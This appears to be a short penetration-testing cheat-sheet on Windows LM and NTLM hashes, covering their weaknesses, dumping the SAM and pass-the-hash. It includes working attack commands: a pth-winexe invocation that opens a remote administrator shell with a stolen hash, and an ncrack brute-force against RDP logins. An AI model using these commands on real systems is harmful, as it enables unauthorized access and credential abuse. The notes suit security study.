Skip to content

LM hashes

  • Password longer than 7 is split and each half hashed separately
  • Passwords are converted into uppercase
  • No salt
  • Empty LM hash

NTLM hashes

Dumping hashes

  • Cannot copy SAM when sys is in use

Pass the Hash

Auth using username and NTLM hash (since NTLM and LM hashes are not salted)

  • Replace "no password" in dump wih empty LM hash
  • Copy admins dumped hash (LM:NTML)
  • export SMBHASH=LM:NTML
  • pth-winexe -U administrator% //ip cmd


ncrack -v -f --user administrator -P password.txt rdp://ip,CL=1